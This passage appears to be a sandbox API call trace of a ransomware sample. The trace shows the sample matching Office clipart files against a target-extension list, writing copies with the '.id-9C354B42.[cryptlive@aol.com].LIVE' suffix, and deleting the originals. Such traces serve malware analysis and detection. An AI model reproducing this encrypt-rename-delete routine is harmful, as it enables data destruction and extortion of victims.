(hFile=0x1f8) returned 1 [0151.516] CloseHandle (hObject=0x1f8) returned 1 [0151.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0151.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.517] lstrlenW (lpString=".doc") returned 4 [0151.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.517] lstrlenW (lpString=".docx") returned 5 [0151.517] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.517] lstrlenW (lpString=".pdf") returned 4 [0151.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.517] lstrlenW (lpString=".xls") returned 4 [0151.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.517] lstrlenW (lpString=".xlsx") returned 5 [0151.517] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.517] lstrlenW (lpString=".ppt") returned 4 [0151.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.517] lstrlenW (lpString=".zip") returned 4 [0151.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.517] lstrlenW (lpString=".rar") returned 4 [0151.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.517] lstrlenW (lpString=".bz2") returned 4 [0151.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.517] lstrlenW (lpString=".7z") returned 3 [0151.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.517] lstrlenW (lpString=".dbf") returned 4 [0151.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.517] lstrlenW (lpString=".1cd") returned 4 [0151.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.517] lstrlenW (lpString=".jpg") returned 4 [0151.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.518] lstrlenW (lpString=".doc") returned 4 [0151.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.518] lstrlenW (lpString=".docx") returned 5 [0151.518] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.518] lstrlenW (lpString=".pdf") returned 4 [0151.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.518] lstrlenW (lpString=".xls") returned 4 [0151.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.518] lstrlenW (lpString=".xlsx") returned 5 [0151.518] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.518] lstrlenW (lpString=".ppt") returned 4 [0151.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.518] lstrlenW (lpString=".zip") returned 4 [0151.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.518] lstrlenW (lpString=".rar") returned 4 [0151.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.518] lstrlenW (lpString=".bz2") returned 4 [0151.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.518] lstrlenW (lpString=".7z") returned 3 [0151.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.518] lstrlenW (lpString=".dbf") returned 4 [0151.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.518] lstrlenW (lpString=".1cd") returned 4 [0151.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0151.519] lstrlenW (lpString=".jpg") returned 4 [0151.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.519] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.519] lstrlenW (lpString="J0103812.WMF") returned 12 [0151.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.520] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5908) returned 1 [0151.520] CloseHandle (hObject=0x1f8) returned 1 [0151.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 0x20 [0151.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.520] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.520] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0151.521] GetLastError () returned 0x0 [0151.521] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1714, lpOverlapped=0x0) returned 1 [0151.561] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1720, lpOverlapped=0x0) returned 1 [0151.562] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.562] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.562] SetEndOfFile (hFile=0x314) returned 1 [0151.562] CloseHandle (hObject=0x314) returned 1 [0151.562] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.562] SetEndOfFile (hFile=0x1f8) returned 1 [0151.564] CloseHandle (hObject=0x1f8) returned 1 [0151.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0151.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.568] lstrlenW (lpString=".doc") returned 4 [0151.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.568] lstrlenW (lpString=".docx") returned 5 [0151.568] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.568] lstrlenW (lpString=".pdf") returned 4 [0151.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.568] lstrlenW (lpString=".xls") returned 4 [0151.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.568] lstrlenW (lpString=".xlsx") returned 5 [0151.568] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.568] lstrlenW (lpString=".ppt") returned 4 [0151.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.568] lstrlenW (lpString=".zip") returned 4 [0151.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.568] lstrlenW (lpString=".rar") returned 4 [0151.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.569] lstrlenW (lpString=".bz2") returned 4 [0151.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.569] lstrlenW (lpString=".7z") returned 3 [0151.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.569] lstrlenW (lpString=".dbf") returned 4 [0151.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.569] lstrlenW (lpString=".1cd") returned 4 [0151.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.569] lstrlenW (lpString=".jpg") returned 4 [0151.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.569] lstrlenW (lpString=".doc") returned 4 [0151.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.569] lstrlenW (lpString=".docx") returned 5 [0151.569] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.569] lstrlenW (lpString=".pdf") returned 4 [0151.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.569] lstrlenW (lpString=".xls") returned 4 [0151.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.569] lstrlenW (lpString=".xlsx") returned 5 [0151.569] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.569] lstrlenW (lpString=".ppt") returned 4 [0151.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.569] lstrlenW (lpString=".zip") returned 4 [0151.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.569] lstrlenW (lpString=".rar") returned 4 [0151.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.569] lstrlenW (lpString=".bz2") returned 4 [0151.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.569] lstrlenW (lpString=".7z") returned 3 [0151.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.570] lstrlenW (lpString=".dbf") returned 4 [0151.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.570] lstrlenW (lpString=".1cd") returned 4 [0151.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0151.570] lstrlenW (lpString=".jpg") returned 4 [0151.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.570] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.570] lstrlenW (lpString="J0105230.WMF") returned 12 [0151.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.571] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5172) returned 1 [0151.571] CloseHandle (hObject=0x1f8) returned 1 [0151.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 0x20 [0151.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.571] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.571] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0151.572] GetLastError () returned 0x0 [0151.572] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1434, lpOverlapped=0x0) returned 1 [0151.936] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0151.937] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.937] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.937] SetEndOfFile (hFile=0x314) returned 1 [0151.950] CloseHandle (hObject=0x314) returned 1 [0151.950] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.950] SetEndOfFile (hFile=0x1f8) returned 1 [0151.971] CloseHandle (hObject=0x1f8) returned 1 [0151.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0151.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.972] lstrlenW (lpString=".doc") returned 4 [0151.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.972] lstrlenW (lpString=".docx") returned 5 [0151.972] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.972] lstrlenW (lpString=".pdf") returned 4 [0151.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.972] lstrlenW (lpString=".xls") returned 4 [0151.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.972] lstrlenW (lpString=".xlsx") returned 5 [0151.972] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.972] lstrlenW (lpString=".ppt") returned 4 [0151.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.972] lstrlenW (lpString=".zip") returned 4 [0151.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.973] lstrlenW (lpString=".rar") returned 4 [0151.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.973] lstrlenW (lpString=".bz2") returned 4 [0151.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.973] lstrlenW (lpString=".7z") returned 3 [0151.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.973] lstrlenW (lpString=".dbf") returned 4 [0151.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.973] lstrlenW (lpString=".1cd") returned 4 [0151.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.973] lstrlenW (lpString=".jpg") returned 4 [0151.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.973] lstrlenW (lpString=".doc") returned 4 [0151.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.973] lstrlenW (lpString=".docx") returned 5 [0151.973] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.973] lstrlenW (lpString=".pdf") returned 4 [0151.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.973] lstrlenW (lpString=".xls") returned 4 [0151.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.973] lstrlenW (lpString=".xlsx") returned 5 [0151.973] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.973] lstrlenW (lpString=".ppt") returned 4 [0151.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.973] lstrlenW (lpString=".zip") returned 4 [0151.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.974] lstrlenW (lpString=".rar") returned 4 [0151.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.974] lstrlenW (lpString=".bz2") returned 4 [0151.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.974] lstrlenW (lpString=".7z") returned 3 [0151.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.974] lstrlenW (lpString=".dbf") returned 4 [0151.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.974] lstrlenW (lpString=".1cd") returned 4 [0151.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0151.974] lstrlenW (lpString=".jpg") returned 4 [0151.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.974] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.974] lstrlenW (lpString="J0105294.WMF") returned 12 [0151.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.975] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5504) returned 1 [0151.975] CloseHandle (hObject=0x1f8) returned 1 [0151.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 0x20 [0151.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.975] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.976] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0151.976] GetLastError () returned 0x0 [0151.976] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1580, lpOverlapped=0x0) returned 1 [0151.978] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1590, lpOverlapped=0x0) returned 1 [0151.979] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.979] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.979] SetEndOfFile (hFile=0x314) returned 1 [0151.979] CloseHandle (hObject=0x314) returned 1 [0151.979] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.980] SetEndOfFile (hFile=0x1f8) returned 1 [0151.982] CloseHandle (hObject=0x1f8) returned 1 [0151.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0151.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0151.983] lstrlenW (lpString=".doc") returned 4 [0151.983] lstrcmpiW 